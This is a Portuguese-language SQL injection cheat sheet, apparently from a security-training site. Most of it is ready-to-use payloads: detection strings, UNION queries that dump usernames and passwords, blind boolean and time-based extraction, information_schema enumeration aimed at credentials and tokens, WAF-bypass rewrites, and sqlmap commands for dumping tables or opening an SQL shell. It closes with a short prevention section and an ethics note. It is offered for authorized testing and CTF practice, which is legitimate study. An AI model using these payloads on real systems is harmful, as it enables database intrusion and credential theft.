Folha de Referência de Injeção SQL 2026: Payloads e Bypasses

Navegação rápida

O que é uma folha de referência de injeção SQL?

Uma folha de referência de injeção SQL é uma consulta compacta de strings e consultas de injeção que os testadores usam para encontrar e explorar SQLi sem memorizar a sintaxe de cada motor de banco de dados. Ela agrupa os payloads por objetivo: detectar a falha, contornar um login, ler dados com UNION, ou extraí-los às cegas, um caractere por vez.

A injeção ocupa a posição A03 no OWASP Top 10. Na análise da OWASP de 2021, 94% das aplicações testadas apresentaram alguma forma de injeção, com 274.000 ocorrências no conjunto de dados. A injeção SQL corresponde ao CWE-89 e continua sendo a variante mais comum, e é exatamente por isso que uma boa referência compensa em quase toda missão web.

Esta folha foi feita para testes autorizados: escopos de bug bounty, desafios de CTF e seus próprios alvos de lab. Se você está começando pelo ataque em si, comece pelo nosso tutorial de injeção SQL para o como e o porquê, e depois volte aqui para os payloads.

Payloads de detecção: é injetável?

Antes de qualquer sofisticação, confirme que a entrada chega a uma consulta. O objetivo é um payload que mude a resposta de forma previsível: um erro, um conjunto de resultados diferente, ou uma variação de tempo. Teste uma entrada por vez e observe o que quebra.

Em aplicações reais, um parâmetro numérico que retorna linhas diferentes de forma silenciosa para ?id=1 AND 1=1 versus ?id=1 AND 1=2 é um sinal mais forte que um erro cru, porque muitas aplicações escondem erros de banco de dados em produção.

Payloads de bypass de autenticação

O bypass de login clássico funciona quando a aplicação monta uma consulta como SELECT * FROM users WHERE user='INPUT' AND pass='INPUT' sem parametrizá-la. Você comenta a verificação de senha ou força a cláusula WHERE a ser verdadeira. Coloque estes payloads no campo de nome de usuário.

Se o primeiro payload falhar, a estrutura da consulta é provavelmente diferente (parênteses extras, um estilo de aspa diferente, ou uma busca de senha com hash). Varie os caracteres de fechamento antes de desistir. O bypass de autenticação é uma das vitórias mais rápidas para praticar no curso de ataques web, que explica por que cada bypass dispara.

Extração de dados por UNION

Quando os resultados da consulta aparecem na página, UNION SELECT é o jeito mais rápido de ler dados arbitrários. Ele anexa o seu próprio conjunto de resultados ao original. Duas regras o fazem funcionar: o seu SELECT injetado precisa retornar a mesma quantidade de colunas, e os tipos de dados das colunas precisam ser compatíveis.

Passo 1: contar as colunas

# Incremente até a página dar erro ou o layout quebrar
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

# Ou sonde com NULLs até não haver erro
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -

Passo 2: achar quais colunas aparecem

# Troque os NULLs por marcadores para ver quais refletem na tela
' UNION SELECT 'a','b','c'-- -
' UNION SELECT 1,2,3-- -

Passo 3: extrair os dados reais

# MySQL: banco de dados atual, versão e usuário
' UNION SELECT database(),version(),user()-- -

# Concatenar vários valores em uma única coluna visível
' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users-- -

# MySQL: despejar todos os usuários e senhas em uma linha
' UNION SELECT NULL,GROUP_CONCAT(username,0x3a,password),NULL FROM users-- -

Injeção baseada em erro

Se a aplicação vaza erros do banco de dados, você pode fazer o motor imprimir dados dentro da mensagem de erro. Isso é mais rápido que a extração cega porque cada requisição retorna um valor completo. Combine a função com o backend.

O 0x7e é um marcador til que deixa o valor injetado fácil de achar dentro do texto do erro. Se você vir a string de versão entre tis, a extração baseada em erro está ativa e você pode trocar version() por qualquer subconsulta.

Payloads de injeção SQL cega

Nenhuma saída e nenhum erro significa injeção cega. Você faz ao banco de dados perguntas de verdadeiro ou falso e lê a resposta na reação: um payload booleano muda o conteúdo da página, um payload temporal muda quanto tempo a resposta leva. É mais lento, então automatize assim que confirmar o padrão. Para a metodologia completa, veja nosso guia de injeção SQL cega.

Baseada em booleano

# Compare as respostas destes dois - conteúdo diferente significa injetável
' AND 1=1-- -
' AND 1=2-- -

# Extrair um caractere por vez (primeiro caractere do nome do banco)
' AND SUBSTRING(database(),1,1)='a'-- -

# Confirmar que um hash de senha começa com um caractere conhecido
' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='5'-- -

Baseada em tempo

Um atraso condicional transforma o tempo em um canal booleano: ' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)-- - só dorme quando o palpite está certo. Na prática, rode três requisições por caractere e use o tempo mediano para filtrar a instabilidade da rede.

Referência de sintaxe de bancos de dados

Metade da injeção SQL é saber com qual dialeto você está falando. Identifique o backend primeiro, e então use a sintaxe correspondente. Esta tabela é a parte da folha que você vai deixar nos favoritos.

Enumeração de esquema

Assim que puder ler dados, mapeie o banco. As views information_schema existem no MySQL, PostgreSQL e MSSQL. O Oracle usa as suas próprias views do dicionário de dados.

# Listar todas as tabelas (MySQL / PostgreSQL / MSSQL)
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables-- -

# Listar as colunas de uma tabela alvo
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -

# Oracle: listar tabelas e colunas
' UNION SELECT NULL,table_name,NULL FROM all_tables-- -
' UNION SELECT NULL,column_name,NULL FROM all_tab_columns WHERE table_name='USERS'-- -

Dali é um passo curto até as tabelas interessantes: usuários, credenciais, tokens de sessão, chaves de API. Filtre information_schema.columns por nomes como pass, token ou secret para achar rápido os dados de alto valor.

Bypass de WAF e de filtros

Firewalls de aplicação web e filtros de entrada bloqueiam payloads óbvios. Durante testes autorizados, muitas vezes é preciso reescrever um payload para que ele signifique o mesmo para o banco de dados sem casar com a assinatura do filtro. São as reescritas padrão, não evasão de detecção por si só.

Um filtro que remove a palavra UNION exatamente uma vez transforma UNIOUNIONN de volta em UNION: a remoção remonta a palavra-chave. Pratique essas reescritas contra um filtro real no lab de bypass de SQLi por regex, feito justamente para derrotar um filtro de entrada ingênuo.

Referência rápida do sqlmap

Payloads manuais provam a vulnerabilidade. Para extração em escala, o sqlmap automatiza a mesma lógica. Use-o apenas dentro do seu escopo autorizado, e comece leve antes de subir as opções de risco e nível.

# Testar um único parâmetro de URL
sqlmap -u "https://target.example/item?id=1" --batch

# Usar uma requisição do Burp salva (cabeçalhos, cookies, corpo POST)
sqlmap -r request.txt --batch

# Enumerar bancos, depois tabelas, depois despejar
sqlmap -u "https://target.example/item?id=1" --dbs
sqlmap -u "https://target.example/item?id=1" -D appdb --tables
sqlmap -u "https://target.example/item?id=1" -D appdb -T users --dump

# Insistir quando um teste simples não acha nada
sqlmap -u "https://target.example/item?id=1" --level=5 --risk=3

# Obter um shell SQL interativo
sqlmap -u "https://target.example/item?id=1" --sql-shell

Folha de prevenção

Conhecer os payloads é metade do trabalho. A outra metade é saber por que eles falham contra um bom código, para reportar correções que se sustentam. A defesa mais eficaz de longe são as consultas parametrizadas, também chamadas de instruções preparadas. Elas enviam o SQL e os dados por canais separados, de modo que a entrada do usuário nunca é interpretada como código.

Um WAF é um redutor de velocidade útil, não uma correção. Cada bypass da seção acima existe justamente porque equipes trataram o firewall como a solução. Para o detalhe do lado do desenvolvedor, leia nosso guia de prevenção de injeção SQL, que cobre instruções preparadas em cada linguagem importante.

Pratique suas habilidades de injeção SQL

Copiar payloads é um começo. Encaixá-los contra um alvo que reage é onde a habilidade realmente se forma. Uma folha diz o que digitar; um lab ensina a ler a resposta e a ajustar quando a primeira tentativa não faz nada.

Labs recomendados

• Query Quake Injeção por UNION e por erro contra um banco ao vivo, no navegador
• Regex Bypass SQLi Reescrever payloads para passar por um filtro de entrada ingênuo
• SQL Injection Test Um ambiente limpo para confirmar cada payload desta folha

Perguntas frequentes

Considerações legais e éticas

A injeção SQL pode ler, modificar e destruir dados. Em uma missão real, evite payloads destrutivos (nada de DROP, nada de UPDATE em produção), extraia apenas o que prova o impacto, e documente tudo para o seu relatório. O objetivo é demonstrar risco, não causar dano.